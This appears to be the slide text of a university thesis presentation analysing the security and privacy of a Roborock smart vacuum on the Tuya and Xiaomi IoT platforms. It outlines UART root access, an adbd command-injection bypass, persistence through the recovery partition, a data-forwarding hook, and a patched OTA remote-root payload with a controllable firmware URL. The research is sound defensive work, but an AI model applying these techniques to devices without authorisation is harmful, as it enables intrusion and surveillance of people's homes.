
…so there are a lot of IOT devices and IOT brands out there…
🕵️♂️ Are competing products looking suspiciously similar to you?
Most are white-labelled products, the biggest ecosystem vendor being 
👨💻 Use someone else’s code
💹 Fast profit turnaround
⚠️ Use someone else’s code
🔓 Potentially security vulnerabilities
IOT ecosystems often have a centralised system to manage their fleet (devices).
A centralised management is so much simpler/easier/faster/cheaper/‘better’ than a decentralised one.
⚠️ Device functionality dependent on system availability
⚠️ Little transparency about what/where/when/why data is transmitted
A smart vacuum cleaner, with integrations to both
and
(depending on model)
It works pretty well, according to reviews.
But is it safe to connect to your home?
Thesis A - Disassembled the device (many, many screws)
Thesis A - Found the UART pins and got some terminal
Thesis A - Got root access (Device runs Ubuntu 14.04.3 LTS)
Thesis B - Firmware dump (dd) for offline/static analysis
Thesis B - Inspection of system (privileged processes)
Thesis B - Recovery partition manipulation (see proof of concept)
Thesis B - Capture of device traffic (port-mirroring)
Thesis B - Inspection of system services (netstat, ip{,6}tables)
Thesis B - Remote access persistence (see proof of concept)
Thesis B - Investigating tcpdump
Thesis B - Investigating rrlogd
Thesis B - Investigating adbd
adbdA novel but not-so-useful way to perform arbitrary code execution
Command injection vulnerability exists within the modified adbd binary

uart_test and ruby_flashadb shell
vinda, device ID
SYS_PASSWD = /mnt/default/vinda := ABCD1234ABCD1234
# Get challenge
CHALLENGE $= adb shell [SYS_PASSWD]rockrobo dynamickey
# Generate response
ADB_PASSWD = generate(challenge, device_id)
# Perform command
adb shell [SYS_PASSWD][ADB_PASSWD] [COMMAND*]
/mnt/default/adb.conf (RO)&, ;, |, ` characters are also forbidden😢 No arbitrary command execution…
$> py -3 adbStart "whoami"
src/rr_ruby.c::adb_check_unlock_level1():not support /adb shell sys_passwd#adb_passwd whoami in level 1

… where did /bin/sh come from..?

Avoiding the forbidden characters (&, ;, |, `) we can exploit command substitution and redirections to inject commands.
Allows us to write to the filesystem
Or read from the filesystem too!

/mnt/default/vinda fileadb_lock != 0
$> cat /etc/OS_VERSION
ro.product.device=MI1558_TANOS_MP_S2020032500REL_M3.3.0_RELEASE_20200325-204847
$> # ^^^^^^ ^^^^^^^^
$> # \/\\// \\\\////
$> # Xiaomi v01.15.58 25th March 2020
$> #
Performed a diff check against the Ubuntu 14.04.3 Core LTS (armhf) OS.
ntpdate (synchronise computer time via NTP)
-ro.product.device=MI1558_TANOS_MP_S2020032500REL_M3.3.0_RELEASE_20200325-204847
+ro.product.device=TANOS_V2902-2022042802REL_M3.5.8_T4.1.4-2_RELEASE_20220428-202811
-ro.build.display.id=TANOS_MP_R16_RELEASE_20200325-204847
+ro.build.display.id=TANOS_MP_R16_RELEASE_20220428-202811
ro.sys.cputype=R16.STM32.A3.G1
-ro.build.version.release=1558
+ro.build.version.release=V2902
-ro.build.date.utc=1585140527
+ro.build.date.utc=1651148891
The update process performed several incremental updates..
finally updating to (28th April 2022)
> 01.17.08 (17th April 2020)
- Supports multi-floor map saving and robot knows which floor it is
- Update to new structured SLAM algorithm to make map more reliable
- Support customised room cleaning sequence
- Support no-mop zone
> 01.19.98 (9th June 2020)
* Improvised Wi-Fi Easy Connect
* overall improvements
* bug fixes
* UX fixes
> 01.20.76 (23rd June 2020)
* Obstacle avoidance enhancements
* Bug fixes and UI optimisation
> probably more updates (got locked out)
> 02.29.02 (28th April 2022)
* Optimized the quick mapping experience
> 01.17.08 (17th April 2020)
* /opt/rockrobo/watchdog/WatchDoge iptables drop SSH
* /opt/rockrobo/rrlog/rrlogd iptables drop SSH
* Utilities change to busybox
* SSH server changed to dropbear
* /opt/rockrobo/rriot/rriot_rr added (but not enabled)
> 01.19.98 (9th June 2020)
* Serial handler changed to /sbin/rr_login
> 01.20.76 (23rd June 2020)
-
> probably more updates (got locked out)
> 02.29.02 (28th April 2022)
* /opt/rockrobo/rriot/rriot_rr enabled
rr_login...
* /opt/rockrobo/rriot/rriot_rr added (but not enabled)
> 01.19.98 (9th June 2020)
* Serial handler changed to /sbin/rr_login
> 01.20.76 (23rd June 2020)
-
...
After the update, serial shell access was denied, uh oh!
getty
rr_logindropbearBoth only allow login as the root user

The vinda file is no longer used for auth!
Login attempts now verify against
[mmcblk0p6]/shadow[mmcblk0p6]/shadow.signBut these files don’t exist on my device…
Affected: rr_login (serial), dropbear (SSH), adbd? (USB)
(1) Enter bootloader and force entrypoint to a shell
(2) Patch /etc/inittab to revert back to a normal login shell
verify_shadow)
strace)
apt-get and dpkg removed
ip6tables rules to drop all packets 👏
rrlogd now drops access on bad version match
WatchDoge immediately drops access on start
rrlogd and wlanmgrwlanmgr now has the functionality to call tcpdump
rrlogd will upload the following
| Content | Description |
|---|---|
/etc/resolv.conf |
DNS resolvers |
netstat -anp |
All sockets and their PIDs |
ifconfig |
Network interface status |
| PCAP | Packet capture |
rrlogd)?What can the manufacturer see?
See: Privacy Policy
Effective: 30th April 2019
Cleaning-related information ... last 20 items will be saved by your device and server...
...stored in the server for up to 180 days, ... automatically deleted after expiration.
Network information: ...the password information is only stored on the device side...
... will not be uploaded to the server.
Timing information... Cleanable Area Information... Other information: For example, ....
“Password […] only stored on the device” -

rrlogd | FW: v02.29.02 (28th April 2022)
Test untouched directories during a firmware update and factory reset
/mnt/reserve/mnt/data/mnt/reserve
| Partition | Purpose |
|---|---|
mmcblk0p1 |
Device registration, WiFi, map data, logs |
mmcblk0p11 |
Statistics, calibration data |
mmcblk0p11
| mcu_ready
| try
| hwinfo
| anonymousid1
| lds_calibration.txt
| counter
| CompassBumper.cfg
| blackbox.db
| rrBkBox.csv
| endpoint.bin
| RoboController.cfg
| last_partition
|
\---rriot
tuya.json
⚠️ All files kept between disassociations
| Endpoint | Protocol | Description |
|---|---|---|
m2.tuyaeu.com |
MQTT | Inbound requests |
a2.tuyaeu.com |
HTTPS | Outbound requests |
awsde0.fds.api.xiaomi.com |
FDS | Logs upload |

fds, a2, ms, m2m2.tuyaeu.com instead of ms.tuyaeu.comxx.ot[t].io.mi.comMost (if not all) communications were encrypted
1. Break the encryption too much effort
/* Send test to 10.251.252.253:28422 */
void hook(void* data, uint data_len) {
int sock = create_udp4_connection(IPV4_ADDR(10,251,252,253), 28422);
send(sock, data, data_len, 0);
}
*: Application logs are less verbose in newer FW versions
However they communicate the same way as the older FW versions
{m2,ms}.tuyaeu.com)Server Request
{
"id": 889,
"method": "get_prop",
"params": [ "get_status" ]
}
Device Response
{
"id": 889,
"result": [{
"msg_ver": 2,
"msg_seq": 275,
"state": 8,
"battery": 100,
"clean_time": 0,
"clean_area": 0,
"error_code": 3,
"map_present": 1,
"in_cleaning": 0,
"in_returning": 0,
"in_fresh_state": 1,
"lab_status": 0,
"water_box_status": 0,
"fan_power": 102,
"dnd_enabled": 0,
"map_status": 1,
"lock_status": 0,
"events": []
}]
}
a2.tuyaeu.com)Device Request
HTTP POST
https://a2.tuyaeu.com/d.json?a=tuya.device.timer.count&devId=...&et=1&t=...&v=4.0&sign=...
{"devId":"...","lastFetchTime":"0","t":1657046157}
Server Response
{
"result": {
"devId": "...",
"count": 0,
"lastFetchTime": 0
},
"t": 1657046159,
"success": true
}
/mnt/data/rockrobo/rrlog/**/dev/shm/**/mnt/reserve/...wlanmgr tcpdump

#ModifyingTheRecoveryPartitionForFunAndProfit

mmcblk0p1 (data)mmcblk0p10 (updbuf)mmcblk0p8 (bootA) / mmcblk0p9 (bootB)updbuf to bootA / bootBbootA / bootBupdbuf to bootB / bootAbootB / bootABoth filesystems are overwritten (existing changes will disappear)
mmcblk0p1 (data)mmcblk0p10 (updbuf)updbufmmcblk0p8 (bootA) / mmcblk0p9 (bootB)updbuf to bootA / bootBbootA / bootBupdbuf to bootB / bootAbootB / bootAModify the extracted updated firmware, so changes propagate
/mnt/updbuf/etc/passwd/usr/bin/adbd/usr/sbin/dropbearSysUpdate{
"method": "miIO.ota",
"params": {
"mode": "normal",
"install": "1",
"app_url": "http://192.168.8.110:8322/firmware", // this looks definitely controllable!
"file_md5": "6e24b0454b170f67676693b759fba742",
"proc": "dnld install"
},
"id": 474627483
}
During device initialisation, an OTA update payload could be sent…
Remote root / backdoor!!
However… patched a long time ago

exc: Usage of the data in the cloud
Data Visibility and Ownership
Data includes: map data, [camera], [microphone], app logs,
process list, network config, network data, statistics
Device Visibility and Ownership
❌ Communications are encrypted
❌ Logs are encrypted
❌ Restricted adbd, ssh, serial

The “friend-who-has-your-WiFi-password-even-though-you-didn’t-give-it-to-them”
✔️ Efforts to restrict serial access
⚠️ Supply chain
✔️ adbd (USB access) is restricted
✔️ No fast hands-off attack vector
Need to open up the device
Takes time to gain shell access
Reset + OTA root
The “coffee shop hacker”
✔️ All data is encrypted (application level, not just TLS)!
✔️ IPv6 blocked
✔️ SSH server port blocked by default
⚠️ …other services?
⚠️ OTA rooting (patched Nov 2019)
❌ Wireless credentials can be sniffed during pairing (+ promiscuous)
⚠️ Access to user/device/app data
⚠️ Ability to issue remote commands
⚠️ Network packet logging
⚠️ Potential arbitrary execution in future releases
⚠️ Privacy policy discrepancy
⚠️ Is my device backdoored?
⚠️ Unknown nature of expected traffic (see later)
⚠️ Vuln > RCE = root control
✔️ Evidence of buffer overflow checks in the binary
✔️ Application-level encryption
✔️ Reduction in log verbosity (though not consistent)
✔️ ip{,6}tables rules
✔️ Tightening of access through adb, ssh, serial
✔️ They seem to respond to security incidents
✔️ (some) effort to uphold privacy and define data usage
⚠️ They seem to respond to security incidents.
(IoT Ecosystem, Whitelabel Vendor) and
Xiaomi (IoT Ecosystem) have published CVEs
Both companies have white-papers / publications about security minimums.
Note
The Tuya paper mentions encryption during the pairing process.
The Roborock S6 (which integrates the Tuya platform), .
Is there a compliance check / verification between either party?
RFC 8520 - Manufacturer Usage Description

MUD files whitelist the nature of network traffic that a device should transmit/receive. (e.g. Transmit IPv4 tcp/8890 to (DNS) example.com)
Traffic that does not match the MUD are discarded (or allowed but flagged). Mitigates unexpected ports/hosts - but ineffective against (e.g.) C2 payloads
IoT Research Team @ UNSW EE&T has done some research
But is anyone adopting it?
✔️ Data is cleared during resets
✔️ Lockdown on access methods (ADB, Serial, MiIO, SSH, IPv6)
✔️ Data is encrypted during transit
🔥 Further transparency in disclosures
🔥 Improved privacy policy
🔥 Pairing encryption
🔥 Data should be cleared on device disassociation
🔥 Better co-ordination between ecosystems and vendors
🔥 MUD files - both devices and infrastructure
🔥 Whitepapers, bug bounties
rr_loader service
Andrew Wong
w: featherbear.cc/UNSW-CSE-Thesis
e: